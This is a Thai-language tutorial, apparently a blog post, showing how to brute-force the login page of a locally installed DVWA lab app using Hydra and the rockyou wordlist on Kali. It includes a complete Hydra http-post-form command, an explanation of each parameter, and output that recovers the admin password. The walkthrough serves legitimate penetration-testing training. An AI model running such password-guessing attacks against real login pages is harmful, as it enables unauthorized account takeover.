บทนำ (Overview)
ในบทความนี้เราจะมาทดสอบการเดารหัสผ่านจากหน้า “Login” ของ “Web page” โดยใช้ โปรแกรม “Hydra” ที่มีอยู่ใน “Kali” โดยในบทความนี้นำเสนอการเดารหัสผ่านโดยใช้ “Dictionary” ที่ชื่อ “Rockyou” ซึ่งก็มีจัดเตรียมอยู่ใน “Kali” เช่นกัน
โดยเราจะใช้ “Dictionary” ดังกล่าวส่งผ่านเข้าไปยัง “Server” โดยใช้ “Post method” ซึ่งหน้า “Login” ของ “Web page” ดังกล่าวใช้งานอยู่ และพยายามหาค่า “Return” ที่แตกต่างจาก “Server” ตอบกลับจากสิ่งที่เราระบุไป ซึ่งก็คือข้อความประเภท “Failed login” เพื่อจะค้นพบรหัสผ่านที่ถูกต้องนั้นเอง
ขั้นตอน (Steps)
- ติดตั้งเว็บช่องโหว่ “DVWA” จาก (How to install DVWA in Kali)
- ที่หน้า Login (http://192.168.0.16/DVWA-1.0.8/login.php) ทดสอบใช้ “username” และ “password” ที่ผิด และสังเกตข้อความตอบกลับ พบว่าคือ “Login failed”
- ตั้งค่าโปรแกรม “Burp” (How to set burp to intercept HTTP messages) เพื่อดักข้อมูล “HTTP” ตรวจสอบรูปแบบข้อมูลที่จะต้องส่งไปยัง “Server”
- จากนั้นไปที่ “Kali” เพื่อเตรียม “Word-lists” สำหรับ “Brute-force” รหัสผ่าน
- ไปที่โฟลเดอร์แล้วใช้คำสั่งตามข้างล่างเพื่อ “unzip” ไฟล์ “rockyou”
root@kali:~# cd /usr/share/wordlists/ root@kali:/usr/share/wordlists# ls -l total 52108 lrwxrwxrwx 1 root root 25 Jan 8 2014 dirb -> /usr/share/dirb/wordlists lrwxrwxrwx 1 root root 30 Jan 8 2014 dirbuster -> /usr/share/dirbuster/wordlists lrwxrwxrwx 1 root root 35 Jan 8 2014 dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt lrwxrwxrwx 1 root root 41 Jan 8 2014 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt lrwxrwxrwx 1 root root 45 Jan 8 2014 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists lrwxrwxrwx 1 root root 46 Jan 8 2014 metasploit -> /usr/share/metasploit-framework/data/wordlists lrwxrwxrwx 1 root root 51 Jan 8 2014 metasploit-jtr -> /usr/share/metasploit-framework/data/john/wordlists lrwxrwxrwx 1 root root 39 Jan 8 2014 metasploit-pro -> /opt/metasploit/apps/pro/data/wordlists lrwxrwxrwx 1 root root 41 Jan 8 2014 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst -rw-r--r-- 1 root root 53357341 Mar 3 2013 rockyou.txt.gz lrwxrwxrwx 1 root root 34 Jan 8 2014 sqlmap.txt -> /usr/share/sqlmap/txt/wordlist.txt lrwxrwxrwx 1 root root 57 Jan 8 2014 termineter.txt -> /usr/share/termineter/framework/data/smeter_passwords.txt lrwxrwxrwx 1 root root 57 Jan 8 2014 w3af.txt -> /usr/share/w3af/core/controllers/bruteforce/passwords.txt lrwxrwxrwx 1 root root 29 Jan 8 2014 webslayer -> /usr/share/webslayer/wordlist lrwxrwxrwx 1 root root 25 Jan 8 2014 wfuzz -> /usr/share/wfuzz/wordlist lrwxrwxrwx 1 root root 53 Jan 8 2014 wfuzz.txt -> /usr/share/golismero/wordlist/wfuzz/Discovery/all.txt root@kali:/usr/share/wordlists# gunzip rockyou.txt.gz t@kali:/usr/share/wordlists# ls -l total 136648 lrwxrwxrwx 1 root root 25 Jan 8 2014 dirb -> /usr/share/dirb/wordlists lrwxrwxrwx 1 root root 30 Jan 8 2014 dirbuster -> /usr/share/dirbuster/wordlists lrwxrwxrwx 1 root root 35 Jan 8 2014 dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt lrwxrwxrwx 1 root root 41 Jan 8 2014 fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt lrwxrwxrwx 1 root root 45 Jan 8 2014 fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists lrwxrwxrwx 1 root root 46 Jan 8 2014 metasploit -> /usr/share/metasploit-framework/data/wordlists lrwxrwxrwx 1 root root 51 Jan 8 2014 metasploit-jtr -> /usr/share/metasploit-framework/data/john/wordlists lrwxrwxrwx 1 root root 39 Jan 8 2014 metasploit-pro -> /opt/metasploit/apps/pro/data/wordlists lrwxrwxrwx 1 root root 41 Jan 8 2014 nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst -rw-r--r-- 1 root root 139921507 Mar 3 2013 rockyou.txt lrwxrwxrwx 1 root root 34 Jan 8 2014 sqlmap.txt -> /usr/share/sqlmap/txt/wordlist.txt lrwxrwxrwx 1 root root 57 Jan 8 2014 termineter.txt -> /usr/share/termineter/framework/data/smeter_passwords.txt lrwxrwxrwx 1 root root 57 Jan 8 2014 w3af.txt -> /usr/share/w3af/core/controllers/bruteforce/passwords.txt lrwxrwxrwx 1 root root 29 Jan 8 2014 webslayer -> /usr/share/webslayer/wordlist lrwxrwxrwx 1 root root 25 Jan 8 2014 wfuzz -> /usr/share/wfuzz/wordlist lrwxrwxrwx 1 root root 53 Jan 8 2014 wfuzz.txt -> /usr/share/golismero/wordlist/wfuzz/Discovery/all.txt
- สังเกตว่าจากไฟล์ “rockyou.txt.gz” เปลี่ยนเป็น “rockyou.txt”
- จากนั้นไปที่ “command prompt” แล้วใช้คำสั่ง
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form:"//192.168.0.16/DVWA-1.0.8/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
- hydra: เรียกใช้โปรแกรม hydra
- -l LOGIN or -L FILE login: ตัวอักษรเล็กหมายถึง “username” ที่เราระบุไว้สำหรับ “brute-force” รหัสผ่าน ส่วนตัวอักษรตัวใหญ่หมายถึง เราสามารถเรียกใช้ไฟล์ที่บรรจุ “username” หลายๆ อันไว้ได้ ในที่นี้ตัวอย่างลองหารหัสผ่านจาก “username” ที่ชื่อ “admin”
- -p PASS or -P FILE try password PASS เช่นเดียวกับ “username” จากตัวอย่างเรียกใช้ไฟล์ “rockyou.txt” ที่มีรหัสผ่านบรรจุอยู่จำนวนมาก
- http-post-form: บอกให้ hydra รู้ว่าจะ “Brute-force” ผ่าน “Web form” หรือ “Post method”
- จากนั้นตามด้วย “URL” ของ “login page” ที่ได้จากการ “Intercept” จาก “Burp”
- ตามด้วย “parameter” ที่ได้จากการ “Intercept” จาก “Burp” เช่นกัน โดยที่
- ^USER^ จะถูกแทนค่าจาก -l
- ^PASS^ จะถูกแทนค่าจาก -P
- Login เป็นค่าคงที่ จากการทดสอบ Intercept หลาย ๆ ครั้ง
- สุดท้ายคือค่า “Response message” ที่ “Login” ไม่ถูกต้อง นั้นคือ “Login failed”
- ทุกค่าคั่นด้วย : ไม่มีช่องว่างและอยู่ภายใต้ “”
- ทดสอบใช้งานคำสั่งดังกล่าว
root@kali:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form:"//192.168.0.16/DVWA-1.0.8/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2015-07-19 03:39:27 [DATA] 16 tasks, 1 server, 14344399 login tries (l:1/p:14344399), ~896524 tries per task [DATA] attacking service http-post-form on port 80 [80][www-form] host: 192.168.0.16 login: admin password: password 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2015-07-19 03:39:33
- จากผลการทดสอบพบว่า รหัสผ่านของ “admin” คือ “password” นั้นเอง